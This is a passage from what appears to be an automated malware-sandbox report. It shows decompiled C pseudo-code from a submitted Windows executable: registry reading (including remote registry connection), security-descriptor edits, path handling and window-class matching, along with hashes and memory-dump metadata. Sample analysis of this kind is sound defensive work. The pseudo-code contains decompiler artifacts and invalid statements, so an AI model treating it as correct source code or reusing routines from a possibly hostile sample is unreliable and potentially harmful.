                                                                                                                                                                            • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00446146
                                                                                                                                                                            • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 0044614D
                                                                                                                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 0044617B
                                                                                                                                                                            • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00446198
                                                                                                                                                                            • SetUserObjectSecurity.USER32(?,?,?), ref: 004461AD
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3490752873-0
                                                                                                                                                                            • Opcode ID: e86e63a88b4429f103fb77babd1ffe1a4f592c76fb5ed07a3a43e397e5312e0f
                                                                                                                                                                            • Instruction ID: 6705534afb2254d4be0c2c823b23c38c51139504ad1b154a69e4490a01b962f7
                                                                                                                                                                            • Opcode Fuzzy Hash: e86e63a88b4429f103fb77babd1ffe1a4f592c76fb5ed07a3a43e397e5312e0f
                                                                                                                                                                            • Instruction Fuzzy Hash: 8A51C071108341ABD310DF61CD84E6FB7EDAF8AB40F08491EFA9597242D779E904CB6A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436879 Relevance: 18.1, APIs: 12, Instructions: 115COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 75%
                                                                                                                                                                            			E00436879(char _a2, char _a524, char _a1048, char _a1050, char _a1572, char _a2096, char _a2620, char _a3144, char _a3668, intOrPtr _a4196, intOrPtr _a4200, intOrPtr _a4204, intOrPtr _a4208, intOrPtr _a4212) {
				char _v0;
				void* _t38;
				char* _t53;
				intOrPtr _t80;
				void* _t83;
				void* _t84;
				void* _t85;
				void* _t86;

				E00425210(0x1060);
				_t81 = _a4208;
				_t80 = _a4212;
				_t38 = E0041420E(_a4208, 0x2a);
				_t84 = _t83 + 8;
				if(_t38 != 0) {
					E00413DB0(_a4196,  &_a1572,  &_a2620,  &_a3668,  &_v0);
					E00413DB0(_t81,  &_a1572,  &_a2620,  &_a3144,  &_a1048);
					_t85 = _t84 + 0x28;
					if(_v0 == 0x2e) {
						E00411691( &_v0,  &_a2);
						_t85 = _t85 + 8;
					}
					if(_a1048 == 0x2e) {
						E00411691( &_a1048,  &_a1050);
						_t85 = _t85 + 8;
					}
					E00411691(_t80,  &_a1572);
					E00411663(_t80,  &_a2620);
					_push( &_a2096);
					_push( &_a1048);
					_push(_a4204);
					_push( &_v0);
					E004367B1();
					_push( &_a524);
					_push( &_a3144);
					_push(_a4200);
					_push( &_a3668);
					E004367B1();
					_t86 = _t85 + 0x30;
					if(_a2096 == 0) {
						if(_v0 != 0) {
							E00411663( &_a524, ".");
							_t53 =  &_v0;
							goto L10;
						}
					} else {
						E00411663( &_a524, ".");
						_t53 =  &_a2096;
						L10:
						E00411663( &_a524, _t53);
						_t86 = _t86 + 0x10;
					}
					return E00411663(_t80,  &_a524);
				} else {
					return E00411691(_t80, _t81);
				}
			}











                                                                                                                                                                            0x0043687e
                                                                                                                                                                            0x00436884
                                                                                                                                                                            0x0043688c
                                                                                                                                                                            0x00436896
                                                                                                                                                                            0x0043689b
                                                                                                                                                                            0x004368a0
                                                                                                                                                                            0x004368da
                                                                                                                                                                            0x00436900
                                                                                                                                                                            0x0043690a
                                                                                                                                                                            0x00436912
                                                                                                                                                                            0x0043691e
                                                                                                                                                                            0x00436923
                                                                                                                                                                            0x00436923
                                                                                                                                                                            0x0043692e
                                                                                                                                                                            0x00436940
                                                                                                                                                                            0x00436945
                                                                                                                                                                            0x00436945
                                                                                                                                                                            0x00436951
                                                                                                                                                                            0x0043695f
                                                                                                                                                                            0x00436972
                                                                                                                                                                            0x0043697a
                                                                                                                                                                            0x0043697b
                                                                                                                                                                            0x00436980
                                                                                                                                                                            0x00436981
                                                                                                                                                                            0x00436994
                                                                                                                                                                            0x0043699c
                                                                                                                                                                            0x0043699d
                                                                                                                                                                            0x004369a5
                                                                                                                                                                            0x004369a6
                                                                                                                                                                            0x004369ab
                                                                                                                                                                            0x004369b7
                                                                                                                                                                            0x004369da
                                                                                                                                                                            0x004369e9
                                                                                                                                                                            0x004369ee
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004369ee
                                                                                                                                                                            0x004369b9
                                                                                                                                                                            0x004369c6
                                                                                                                                                                            0x004369cb
                                                                                                                                                                            0x004369f2
                                                                                                                                                                            0x004369fb
                                                                                                                                                                            0x00436a00
                                                                                                                                                                            0x00436a00
                                                                                                                                                                            0x00436a1c
                                                                                                                                                                            0x004368a2
                                                                                                                                                                            0x004368b4
                                                                                                                                                                            0x004368b4

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 136442275-0
                                                                                                                                                                            • Opcode ID: 6d9480e49288270feebf418813f714f0b9da2b6f6d0e5d6bea6da3981f44c382
                                                                                                                                                                            • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                                                                                                                                                                            • Opcode Fuzzy Hash: 6d9480e49288270feebf418813f714f0b9da2b6f6d0e5d6bea6da3981f44c382
                                                                                                                                                                            • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046B39A Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 401registryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 80%
                                                                                                                                                                            			E0046B39A(intOrPtr __ecx, void* __eflags, void* __fp0, signed int _a4, intOrPtr _a8) {
				char _v20;
				char _v24;
				char _v36;
				short* _v40;
				char _v52;
				short* _v56;
				char _v72;
				int* _v76;
				intOrPtr _v80;
				signed int _v84;
				int _v88;
				void* _v92;
				void* _v96;
				intOrPtr* _v100;
				void* _v104;
				int _v108;
				char _v109;
				char _v113;
				signed int _v116;
				char _v117;
				void* _v120;
				char _v125;
				intOrPtr* _v144;
				int* _v148;
				intOrPtr _v152;
				int* __ebx;
				char* __edi;
				void** __esi;
				void* _t146;
				void* _t153;
				void* _t154;
				void* _t155;
				short* _t158;
				void* _t160;
				signed int _t166;
				long _t214;
				void* _t224;
				intOrPtr* _t234;
				void* _t275;
				intOrPtr _t278;
				void* _t282;
				intOrPtr* _t284;
				signed int _t290;
				void* _t293;

				_t298 = __eflags;
				_v80 = __ecx;
				_v76 = 0;
				E0040C060( &_v36, __eflags);
				E0040C060( &_v52, __eflags);
				E0040C060( &_v20, __eflags);
				E0040E6D0(_a8, __eflags);
				_t146 = E00453081( *( *(_a4 + 4)));
				_t293 = (_t290 & 0xfffffff8) - 0x4c;
				E00401B70(_a8, _t146, _t293, _t298);
				E00462DEC( &_v24,  &_v40,  &_v56,  &_v24, _t275, _t282);
				_v152 = _v80;
				_t234 = _v72;
				 *((intOrPtr*)(_t293 - 0x10)) = _v84;
				_v144 = _t234;
				_v148 = _v76;
				 *_t234 =  *_t234 + 1;
				if(E00462BF3( &_v104, _v76, _t298,  &_v104,  &_v96, _t224) != 0) {
					_t153 = E00437BFD( &_v56);
					_v113 = _t153;
					__eflags = _t153;
					if(_t153 != 0) {
						_t154 = _v92;
						L7:
						_t155 = RegOpenKeyExW(_t154, _v40, 0, _v84 | 0x00020019,  &_v104);
						__eflags = _t155;
						if(_t155 == 0) {
							_t158 = E00453081( *( *(_a4 + 4) + 4));
							_t278 =  *0x48203c;
							_t160 = RegQueryValueExW(_v108, _t158, 0,  &_v88, 0,  &_v108);
							_t284 = _v104;
							_push(0);
							__eflags = _t160;
							if(_t160 == 0) {
								_push(_v88);
								E00404120( *((intOrPtr*)( *_t284 + 4)) + _t284);
								_t166 = _v96 - 1;
								__eflags = _t166 - 6;
								if(__eflags > 0) {
									L37:
									__eflags =  *((intOrPtr*)( *_t284 + 4)) + _t284;
									E004040E0( *((intOrPtr*)( *_t284 + 4)) + _t284, 0xfffffffe, 0);
									L38:
									RegCloseKey(_v104);
									__eflags = _v109;
									if(_v109 != 0) {
										goto L41;
									}
									RegCloseKey(_v96);
									L40:
									goto L41;
								}
								switch( *((intOrPtr*)(_t166 * 4 +  &M0046B842))) {
									case 0:
										_push( ~(0 | __eflags > 0x00000000) | ((_v108 >> 0x00000001) + 0x00000001) * 0x00000002);
										_t181 = E0041171A(_t225, _t278, __eflags);
										_v92 = _t181;
										__eflags = RegQueryValueExW(_v108, E00453081( *( *(_a4 + 4) + 4)), 0, 0, _t181,  &_v108);
										if(__eflags != 0) {
											E00404120( *((intOrPtr*)( *_t284 + 4)) + _t284, _t184, 0);
											E004040E0( *((intOrPtr*)( *_t284 + 4)) + _t284, 0xfffffffe, 0);
											E004112EF(_t225,  *_t284, _v108, _t284, __eflags, _v108);
										} else {
											_t194 = _v108 >> 1;
											_v108 = _t194;
											 *((short*)(_v92 + _t194 * 2)) = 0;
											E0040E6D0(_t225, __eflags);
											E004112EF(_t225,  &_v108, _v92, _t284, __eflags, _v92);
										}
										goto L38;
									case 1:
										__edx = _v108;
										__eax = E00452DAE(__ebx, __ecx, __eflags, __ebx, _v108);
										__ecx = _a4;
										__edx =  *(_a4 + 4);
										__ecx =  *( *(_a4 + 4) + 4);
										__edx =  &_v116;
										_push( &_v116);
										_push(__eax);
										_push(0);
										_push(0);
										_push(E00453081( *( *(_a4 + 4) + 4)));
										__eax = _v116;
										_push(_v116);
										__eax =  *__edi();
										__eflags = __eax;
										if(__eax != 0) {
											__ecx =  *__esi;
											__eax =  *(__ecx + 4);
											__esi +  *(__ecx + 4) = E00404120(__esi +  *(__ecx + 4), __esi +  *(__ecx + 4), 0);
											__edx =  *__esi;
											__eax =  *(__edx + 4);
											__esi +  *(__edx + 4) = E004040E0(__esi +  *(__edx + 4), 0xfffffffe, 0);
											__esi = __ebx;
											__eax = E004092C0(__edi, __ebx);
											__ebx[2] = 1;
											 *__ebx = 0;
										}
										goto L38;
									case 2:
										__ecx = _a4;
										__edx =  *(_a4 + 4);
										_v108 = 4;
										__eax =  *( *(_a4 + 4) + 4);
										__ecx =  &_v108;
										_push( &_v108);
										__edx =  &_v76;
										_push( &_v76);
										_push(0);
										_push(0);
										_push(E00453081( *( *(_a4 + 4) + 4)));
										__eax = _v108;
										_push(_v108);
										__eax =  *__edi();
										asm("fild dword [esp+0x34]");
										__ecx = _v104;
										__eflags = _v104;
										if(_v104 < 0) {
											__fp0 = __fp0 +  *0x48c528;
										}
										__esi = __ebx;
										_v108 = __fp0;
										__eax = E004092C0(__edi, __ebx);
										__fp0 = _v108;
										 *__ebx = _v108;
										__ebx[2] = 3;
										goto L38;
									case 3:
										goto L37;
									case 4:
										_v108 = _v108 >> 1;
										__ecx = 0;
										__eax = (_v108 >> 1) + 2;
										2 = __eax * 2 >> 0x20;
										__eax = __eax * 2;
										0 | __eflags > 0x00000000 =  ~(__eflags > 0);
										__ecx =  ~(__eflags > 0) | __eax;
										_push( ~(__eflags > 0) | __eax);
										__eax = E0041171A(__ebx, __edi, __eflags);
										__esp = __esp + 4;
										__edi = __eax;
										__eax = _a4;
										__ecx =  *(_a4 + 4);
										__eax =  *( *(_a4 + 4) + 4);
										__edx =  &_v108;
										E00453081( *( *(_a4 + 4) + 4)) = _v108;
										__eax = RegQueryValueExW(_v108, _v108, 0, 0, __edi,  &_v108);
										__eflags = __eax;
										if(__eax != 0) {
											__edx =  *__esi;
											__eax =  *(__edx + 4);
											__esi +  *(__edx + 4) = E00404120(__esi +  *(__edx + 4), __esi +  *(__edx + 4), 0);
											 *__esi =  *( *__esi + 4);
											 *( *__esi + 4) + __esi = E004040E0( *( *__esi + 4) + __esi, 0xfffffffe, 0);
											__eax = E004112EF(__ebx, __edx, __edi, __esi, __eflags, __edi);
											goto L38;
										}
										__eax = _v108;
										__eax = _v108 >> 1;
										__ecx = 0;
										_v108 = __eax;
										 *(__edi + __eax * 2) = __cx;
										__ecx = _v108;
										__eflags = __ecx - 1;
										if(__eflags <= 0) {
											L30:
											E0040E6D0(__ebx, __eflags) = E004112EF(__ebx, __edx, __edi, __esi, __eflags, __edi);
											goto L38;
										}
										__eflags = __edi[__ecx * 2 - 2];
										if(__edi[__ecx * 2 - 2] == 0) {
											__ecx = __ecx - 1;
											__eflags = __ecx;
											_v108 = __ecx;
										}
										__eax = 0;
										__eflags = __ecx;
										if(__ecx <= 0) {
											L28:
											__eflags = __edi[__eax * 2 - 2] - 0xa;
											if(__eflags == 0) {
												__ecx = 0;
												__eflags = 0;
												__edi[__eax * 2 - 2] = __cx;
											}
											goto L30;
										} else {
											do {
												__eflags =  *(__edi + __eax * 2);
												if( *(__edi + __eax * 2) == 0) {
													__edx = 0xa;
													 *(__edi + __eax * 2) = __dx;
													__ecx = _v108;
												}
												__eax = __eax + 1;
												__eflags = __eax - __ecx;
											} while (__eax < __ecx);
											goto L28;
										}
								}
							}
							_push(_t160);
							E00404120( *((intOrPtr*)( *_t284 + 4)) + _t284);
							E004040E0( *((intOrPtr*)( *_t284 + 4)) + _t284, 0xffffffff, 0);
							RegCloseKey(_v120);
							__eflags = _v125;
							if(_v125 != 0) {
								goto L41;
							}
							RegCloseKey(_v96);
							goto L40;
						}
						_t288 = _v100;
						E00404120( *((intOrPtr*)( *_v100 + 4)) + _v100, _t155, 0);
						__eflags = _v117;
						if(_v117 == 0) {
							RegCloseKey(_v96);
						}
						E004040E0( *((intOrPtr*)( *_t288 + 4)) + _t288, 1, 0);
						goto L41;
					}
					_t214 = RegConnectRegistryW(_v56, _v92,  &_v96);
					__eflags = _t214;
					if(_t214 == 0) {
						_t154 = _v96;
						goto L7;
					} else {
						_t289 = _v100;
						E00404120( *((intOrPtr*)( *_v100 + 4)) + _v100, _t214, 0);
						E004040E0( *((intOrPtr*)( *_v100 + 4)) + _t289, 3, 0);
						goto L41;
					}
				} else {
					E004040E0( *((intOrPtr*)( *_v100 + 4)) + _v100, 2, 0);
					L41:
					E00402620( &_v40);
					E00402620( &_v72);
					E00402620( &_v56);
					return 0;
				}
			}















































                                                                                                                                                                            0x0046b39a
                                                                                                                                                                            0x0046b3a5
                                                                                                                                                                            0x0046b3ae
                                                                                                                                                                            0x0046b3b6
                                                                                                                                                                            0x0046b3bf
                                                                                                                                                                            0x0046b3c8
                                                                                                                                                                            0x0046b3d5
                                                                                                                                                                            0x0046b3e3
                                                                                                                                                                            0x0046b3e8
                                                                                                                                                                            0x0046b3ef
                                                                                                                                                                            0x0046b403
                                                                                                                                                                            0x0046b413
                                                                                                                                                                            0x0046b417
                                                                                                                                                                            0x0046b41b
                                                                                                                                                                            0x0046b422
                                                                                                                                                                            0x0046b426
                                                                                                                                                                            0x0046b42a
                                                                                                                                                                            0x0046b43d
                                                                                                                                                                            0x0046b45d
                                                                                                                                                                            0x0046b462
                                                                                                                                                                            0x0046b466
                                                                                                                                                                            0x0046b468
                                                                                                                                                                            0x0046b4b1
                                                                                                                                                                            0x0046b4b5
                                                                                                                                                                            0x0046b4cd
                                                                                                                                                                            0x0046b4d3
                                                                                                                                                                            0x0046b4d5
                                                                                                                                                                            0x0046b529
                                                                                                                                                                            0x0046b52e
                                                                                                                                                                            0x0046b53a
                                                                                                                                                                            0x0046b53c
                                                                                                                                                                            0x0046b540
                                                                                                                                                                            0x0046b542
                                                                                                                                                                            0x0046b544
                                                                                                                                                                            0x0046b58e
                                                                                                                                                                            0x0046b591
                                                                                                                                                                            0x0046b59a
                                                                                                                                                                            0x0046b59b
                                                                                                                                                                            0x0046b59e
                                                                                                                                                                            0x0046b7f0
                                                                                                                                                                            0x0046b7f9
                                                                                                                                                                            0x0046b7fb
                                                                                                                                                                            0x0046b800
                                                                                                                                                                            0x0046b80b
                                                                                                                                                                            0x0046b80d
                                                                                                                                                                            0x0046b812
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b819
                                                                                                                                                                            0x0046b819
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b819
                                                                                                                                                                            0x0046b5a4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b5c2
                                                                                                                                                                            0x0046b5c3
                                                                                                                                                                            0x0046b5df
                                                                                                                                                                            0x0046b5f0
                                                                                                                                                                            0x0046b5f2
                                                                                                                                                                            0x0046b625
                                                                                                                                                                            0x0046b635
                                                                                                                                                                            0x0046b63f
                                                                                                                                                                            0x0046b5f4
                                                                                                                                                                            0x0046b5fc
                                                                                                                                                                            0x0046b600
                                                                                                                                                                            0x0046b604
                                                                                                                                                                            0x0046b608
                                                                                                                                                                            0x0046b60e
                                                                                                                                                                            0x0046b613
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b78b
                                                                                                                                                                            0x0046b791
                                                                                                                                                                            0x0046b796
                                                                                                                                                                            0x0046b799
                                                                                                                                                                            0x0046b79c
                                                                                                                                                                            0x0046b79f
                                                                                                                                                                            0x0046b7a3
                                                                                                                                                                            0x0046b7a4
                                                                                                                                                                            0x0046b7a5
                                                                                                                                                                            0x0046b7a7
                                                                                                                                                                            0x0046b7af
                                                                                                                                                                            0x0046b7b0
                                                                                                                                                                            0x0046b7b4
                                                                                                                                                                            0x0046b7b5
                                                                                                                                                                            0x0046b7b7
                                                                                                                                                                            0x0046b7b9
                                                                                                                                                                            0x0046b7bb
                                                                                                                                                                            0x0046b7c0
                                                                                                                                                                            0x0046b7c5
                                                                                                                                                                            0x0046b7ca
                                                                                                                                                                            0x0046b7cc
                                                                                                                                                                            0x0046b7d5
                                                                                                                                                                            0x0046b7da
                                                                                                                                                                            0x0046b7dc
                                                                                                                                                                            0x0046b7e1
                                                                                                                                                                            0x0046b7e8
                                                                                                                                                                            0x0046b7e8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b732
                                                                                                                                                                            0x0046b735
                                                                                                                                                                            0x0046b738
                                                                                                                                                                            0x0046b740
                                                                                                                                                                            0x0046b743
                                                                                                                                                                            0x0046b747
                                                                                                                                                                            0x0046b748
                                                                                                                                                                            0x0046b74c
                                                                                                                                                                            0x0046b74d
                                                                                                                                                                            0x0046b74f
                                                                                                                                                                            0x0046b757
                                                                                                                                                                            0x0046b758
                                                                                                                                                                            0x0046b75c
                                                                                                                                                                            0x0046b75d
                                                                                                                                                                            0x0046b75f
                                                                                                                                                                            0x0046b763
                                                                                                                                                                            0x0046b767
                                                                                                                                                                            0x0046b769
                                                                                                                                                                            0x0046b76b
                                                                                                                                                                            0x0046b76b
                                                                                                                                                                            0x0046b771
                                                                                                                                                                            0x0046b773
                                                                                                                                                                            0x0046b777
                                                                                                                                                                            0x0046b77c
                                                                                                                                                                            0x0046b780
                                                                                                                                                                            0x0046b782
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b650
                                                                                                                                                                            0x0046b652
                                                                                                                                                                            0x0046b654
                                                                                                                                                                            0x0046b65c
                                                                                                                                                                            0x0046b65c
                                                                                                                                                                            0x0046b661
                                                                                                                                                                            0x0046b663
                                                                                                                                                                            0x0046b665
                                                                                                                                                                            0x0046b666
                                                                                                                                                                            0x0046b66b
                                                                                                                                                                            0x0046b66e
                                                                                                                                                                            0x0046b670
                                                                                                                                                                            0x0046b673
                                                                                                                                                                            0x0046b676
                                                                                                                                                                            0x0046b679
                                                                                                                                                                            0x0046b68a
                                                                                                                                                                            0x0046b68f
                                                                                                                                                                            0x0046b695
                                                                                                                                                                            0x0046b697
                                                                                                                                                                            0x0046b705
                                                                                                                                                                            0x0046b70a
                                                                                                                                                                            0x0046b70f
                                                                                                                                                                            0x0046b716
                                                                                                                                                                            0x0046b71f
                                                                                                                                                                            0x0046b725
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b72a
                                                                                                                                                                            0x0046b699
                                                                                                                                                                            0x0046b69d
                                                                                                                                                                            0x0046b69f
                                                                                                                                                                            0x0046b6a1
                                                                                                                                                                            0x0046b6a5
                                                                                                                                                                            0x0046b6a9
                                                                                                                                                                            0x0046b6ad
                                                                                                                                                                            0x0046b6b0
                                                                                                                                                                            0x0046b6f2
                                                                                                                                                                            0x0046b6f8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b6fd
                                                                                                                                                                            0x0046b6b2
                                                                                                                                                                            0x0046b6b8
                                                                                                                                                                            0x0046b6ba
                                                                                                                                                                            0x0046b6ba
                                                                                                                                                                            0x0046b6bb
                                                                                                                                                                            0x0046b6bb
                                                                                                                                                                            0x0046b6bf
                                                                                                                                                                            0x0046b6c1
                                                                                                                                                                            0x0046b6c3
                                                                                                                                                                            0x0046b6e3
                                                                                                                                                                            0x0046b6e3
                                                                                                                                                                            0x0046b6e9
                                                                                                                                                                            0x0046b6eb
                                                                                                                                                                            0x0046b6eb
                                                                                                                                                                            0x0046b6ed
                                                                                                                                                                            0x0046b6ed
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b6c5
                                                                                                                                                                            0x0046b6ca
                                                                                                                                                                            0x0046b6ca
                                                                                                                                                                            0x0046b6cf
                                                                                                                                                                            0x0046b6d1
                                                                                                                                                                            0x0046b6d6
                                                                                                                                                                            0x0046b6da
                                                                                                                                                                            0x0046b6da
                                                                                                                                                                            0x0046b6de
                                                                                                                                                                            0x0046b6df
                                                                                                                                                                            0x0046b6df
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b6ca
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b5a4
                                                                                                                                                                            0x0046b548
                                                                                                                                                                            0x0046b54e
                                                                                                                                                                            0x0046b55e
                                                                                                                                                                            0x0046b56e
                                                                                                                                                                            0x0046b570
                                                                                                                                                                            0x0046b575
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b819
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b819
                                                                                                                                                                            0x0046b4d7
                                                                                                                                                                            0x0046b4e5
                                                                                                                                                                            0x0046b4ea
                                                                                                                                                                            0x0046b4ef
                                                                                                                                                                            0x0046b4f6
                                                                                                                                                                            0x0046b4f6
                                                                                                                                                                            0x0046b507
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b507
                                                                                                                                                                            0x0046b479
                                                                                                                                                                            0x0046b47f
                                                                                                                                                                            0x0046b481
                                                                                                                                                                            0x0046b4ab
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b483
                                                                                                                                                                            0x0046b483
                                                                                                                                                                            0x0046b491
                                                                                                                                                                            0x0046b4a1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046b4a1
                                                                                                                                                                            0x0046b43f
                                                                                                                                                                            0x0046b44e
                                                                                                                                                                            0x0046b81b
                                                                                                                                                                            0x0046b81f
                                                                                                                                                                            0x0046b828
                                                                                                                                                                            0x0046b831
                                                                                                                                                                            0x0046b83e
                                                                                                                                                                            0x0046b83e

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ConnectRegistry_wcslen
                                                                                                                                                                            • String ID: HH
                                                                                                                                                                            • API String ID: 535477410-2761332787
                                                                                                                                                                            • Opcode ID: 91ba23f07df21548a118deab6931c58f169c35d95aaa214d687da9d8f7f3a67a
                                                                                                                                                                            • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                                                                                                                                                                            • Opcode Fuzzy Hash: 91ba23f07df21548a118deab6931c58f169c35d95aaa214d687da9d8f7f3a67a
                                                                                                                                                                            • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00460473 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00460473(intOrPtr _a4, struct HWND__* _a8) {
				short _v2060;
				intOrPtr _v2064;
				struct tagRECT _v2080;
				char _v2084;
				char _v2088;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t125;
				signed char _t126;
				void* _t152;
				void* _t154;
				void* _t157;
				void* _t158;
				void* _t161;
				void* _t164;
				long _t166;
				intOrPtr _t173;
				char _t177;
				intOrPtr _t180;
				long _t183;
				struct HWND__* _t191;
				WCHAR* _t197;
				char _t199;
				void* _t206;
				signed int _t207;
				void* _t209;

				_t209 = (_t207 & 0xfffffff8) - 0x824;
				_t173 = _a4;
				_t125 =  *(_t173 + 8);
				_t199 = 0;
				_v2084 = 0;
				_v2088 = 0;
				if((_t125 & 0x00000040) != 0) {
					_t199 = 1;
					_v2084 = 1;
					_v2088 = 1;
				}
				_t191 = _a8;
				if((_t125 & 0x00000008) != 0) {
					_v2088 = _v2088 + 1;
				}
				if(( *(_t173 + 8) & 0x00000001) == 0) {
					L22:
					_t226 =  *(_t173 + 8) & 0x00000002;
					if(( *(_t173 + 8) & 0x00000002) == 0) {
						L28:
						_t232 =  *(_t173 + 8) & 0x00000010;
						if(( *(_t173 + 8) & 0x00000010) != 0) {
							GetClassNameW(_t191,  &_v2060, 0x400);
							E00401B70(_t173,  &_v2060,  &_v2080, _t232);
							E004602EB(_t176, _t173 + 0x78,  &_v2080);
							E00402620( &_v2088);
							if(E0044CB6C(_t173 + 0x78) != 0) {
								_v2084 = _v2084 + 1;
							}
							_v2088 = _v2088 + 1;
